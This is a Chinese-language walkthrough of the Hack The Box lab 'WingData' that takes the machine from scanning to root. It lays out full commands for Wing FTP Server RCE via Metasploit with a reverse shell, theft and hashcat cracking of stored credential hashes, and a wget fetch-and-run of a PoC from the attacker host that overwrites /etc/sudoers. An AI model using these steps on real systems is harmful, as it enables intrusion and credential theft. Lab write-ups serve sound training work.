WingData HTB 渗透测试完整攻略
本攻略详细记录了从信息收集到获取 root 权限的全过程,每个步骤均相互关联,环环相扣。攻击路径基于真实环境,利用了两个关键 CVE 漏洞:CVE-2025-47812(Wing FTP Server 无认证 RCE)和CVE-2025-4517(备份脚本 tarfile 路径遍历提权)。
一、环境准备
在开始之前,确保已添加目标主机名与 IP 的映射,后续所有命令均在 Kali Linux 上执行,目标 IP 为10.129.4.8。
echo "10.129.4.8 wingdata.htb ftp.wingdata.htb" >> /etc/hosts
其中wingdata.htb是主 Web 域名,ftp.wingdata.htb是后续发现的虚拟主机。
二、信息收集
2.1 端口扫描
使用 Nmap 快速扫描全端口,识别开放的服务。
nmap -p-65535 -T4 --min-rate=1000 -sS -Pn 10.129.4.8
结果:
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
解读:目标仅开放 22(SSH)和 80(HTTP),过滤了大量端口,表明防火墙可能较为严格。
2.2 Web 服务指纹识别
访问主站点并获取响应头,识别技术栈。
curl -I http://wingdata.htb whatweb http://wingdata.htb -a 3
关键信息:
- 服务器:Apache/2.4.66 (Debian)
- jQuery 3.3.1、Bootstrap
- 静态页面,无交互功能
初步判断主站点为纯静态网站,攻击面有限。
2.3 虚拟主机扫描
使用 gobuster 对主域名进行虚拟主机枚举,寻找其他 Web 应用。
gobuster vhost -u http://wingdata.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 20 -o vhost.txt
扫描发现一个重要的虚拟主机:ftp.wingdata.htb,其响应头中 Server 字段为Wing FTP Server(Free Edition)。这是完全不同的 Web 应用,攻击面大幅增加。
2.4 Wing FTP Server 信息收集
访问http://ftp.wingdata.htb,并提取版本信息。
curl -s http://ftp.wingdata.htb/ -o wingftp_index.html grep -i 'version\|wing\|build\|release' wingftp_index.html
从页面中获取到版本号:Wing FTP Server v7.4.3。
同时注意到管理端口 5466 和内部 Web 客户端 8080 也在响应中有所体现,但我们优先利用已知漏洞。
三、漏洞利用:Wing FTP Server RCE (CVE-2025-47812)
Wing FTP Server v7.4.3 存在一个严重的空字节注入漏洞(CVE-2025-47812),攻击者可通过匿名账户绕过认证并注入 Lua 代码,最终获取以wingftp用户运行的 shell。
3.1 漏洞确认
首先测试匿名登录是否启用:
curl -v -X POST http://ftp.wingdata.htb/loginok.html \ -d "username=anonymous&password="
若响应中包含Set-Cookie: UID=,则说明匿名访问开启,漏洞存在。
3.2 Metasploit 利用
最可靠的方式是使用 Metasploit 官方模块。
msfconsole -q use exploit/multi/http/wingftp_null_byte_rce set RHOSTS ftp.wingdata.htb set RPORT 80 set LHOST <你的_Kali_IP> set LPORT 5555 check run
模块自动完成:
- 发送空字节注入载荷获取 Session Cookie
- 通过触发 Session 文件执行 Lua 系统命令
- 返回一个 Meterpreter shell
成功后的 shell 权限为wingftp,并非 root,需要提权。
3.3 进入系统 shell 并初步枚举
shell id # 输出: uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),... hostname # wingdata
接下来全面收集系统信息,为提权做准备。
四、信息收集:获取 wacky 用户凭证
4.1 枚举 Wing FTP Server 配置与用户文件
进入 Wing FTP Server 数据目录,读取配置和用户数据。
cd /opt/wftpserver/Data cat settings.xml
从settings.xml中提取到关键信息:
- 管理员密码哈希:
2D35A8D420A697203D7C554A678F8119(MD5) - 启用密码加盐:
<EnablePasswordSalting>1</EnablePasswordSalting> - 盐值:
<SaltingString>WingFTP</SaltingString>
继续查看管理员账户文件:
cat /opt/wftpserver/Data/_ADMINISTRATOR/admins.xml
获得管理员 admin 的 SHA-256 哈希(加盐)。
最重要的一步:列出所有 FTP 用户配置文件。
ls /opt/wftpserver/Data/1/users/ cat /opt/wftpserver/Data/1/users/wacky.xml cat /opt/wftpserver/Data/1/users/maria.xml cat /opt/wftpserver/Data/1/users/steve.xml cat /opt/wftpserver/Data/1/users/john.xml
每个用户文件中都包含一个<Password>字段,均为 SHA-256 哈希,且这些哈希均使用盐值WingFTP进行加盐(格式sha256($pass.$salt))。
4.2 密码破解
提取 wacky 用户的哈希(从 wacky.xml 中):
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
在 Kali 上使用 hashcat 模式 1410 进行破解。
echo '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP' > hash.txt hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt --force -O
很快破解出密码:!#7Blushing^*Bride5
注意:若 rockyou 未命中,可尝试使用规则集(如 best64.rule)或更大的字典。由于盐已知,破解效率很高。
4.3 横向移动:SSH 登录 wacky
使用破解出的密码通过 SSH 登录系统用户 wacky。
ssh wacky@10.129.4.8 # 输入密码: !#7Blushing^*Bride5
登录后立即获取 user flag:
cat ~/user.txt # 48a3f6f6ea8d0261226a27c06e190597
五、权限提升:CVE-2025-4517 – tarfile 路径遍历提权
5.1 sudo 权限枚举
sudo -l
输出显示:
User wacky may run the following commands on wingdata: (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
这意味着 wacky 可以以 root 身份无密码执行该备份脚本,且允许附加任意参数。
5.2 脚本审计与漏洞分析
阅读脚本内容:
cat /opt/backup_clients/restore_backup_clients.py
核心代码段:
with tarfile.open(backup_path, "r") as tar: tar.extractall(path=staging_dir, filter="data")
漏洞点:
- 脚本以 root 身份运行。
filter="data"在 Python 3.12 中不会对路径进行任何安全检查,它完全信任 tar 包内的文件名。- 备份文件需放置在
/opt/backup_clients/backups/目录下,而该目录权限为drwxrwx---,wacky 用户拥有写权限!
因此,我们可以创建一个恶意的 tar 包,内部包含指向/etc/sudoers的绝对路径文件或路径遍历条目,解压时即可覆盖系统 sudoers 文件,为 wacky 添加 NOPASSWD: ALL 规则。
5.3 漏洞利用(使用公开 PoC)
GitHub 上已有针对此场景的 PoC(CVE-2025-4517),直接使用可避免手动构造 tar 包。
Kali 攻击机:
git clone https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData.git cd CVE-2025-4517-POC-HTB-WingData python3 -m http.server 80
目标机(wacky 会话):
cd /tmp wget http://<Kali_IP>/CVE-2025-4517-POC.py python3 /tmp/CVE-2025-4517-POC.py
PoC 脚本自动完成:
- 生成合法的备份文件名(如
backup_1234.tar)。 - 在 tar 包内放入恶意 sudoers 文件,条目名称为
/etc/sudoers或../../etc/sudoers(利用路径遍历)。 - 将 tar 包复制到
/opt/backup_clients/backups/。 - 调用 sudo 执行备份脚本,以 root 权限解压该 tar 包,从而覆盖
/etc/sudoers。
5.4 获取 root 权限
漏洞利用成功后,/etc/sudoers已被修改,wacky 获得无限制 sudo 权限。
sudo /bin/bash id # uid=0(root) gid=0(root) groups=0(root) cat /root/root.txt
Root flag 到手,渗透完成。
六、攻击链总结
- 信息收集:端口扫描 → 虚拟主机发现 → Wing FTP Server 版本识别。
- 初始立足点:利用 Wing FTP 匿名空字节注入 (CVE-2025-47812) 获得 wingftp 用户 shell。
- 凭证窃取:读取用户配置文件,获取 wacky 加盐哈希并破解密码。
- 横向移动:SSH 以 wacky 登录,获得 user flag。
- 权限提升:利用 sudo 脚本中 tarfile 的路径遍历漏洞 (CVE-2025-4517) 覆写 sudoers,获取 root。
本攻略展示了从外网 Web 应用漏洞到系统权限的完整攻击路径,每一步都基于前一步的信息和权限,环环相扣。关键在于:充分的信息收集、精准的漏洞匹配以及对文件操作逻辑的深入审计。
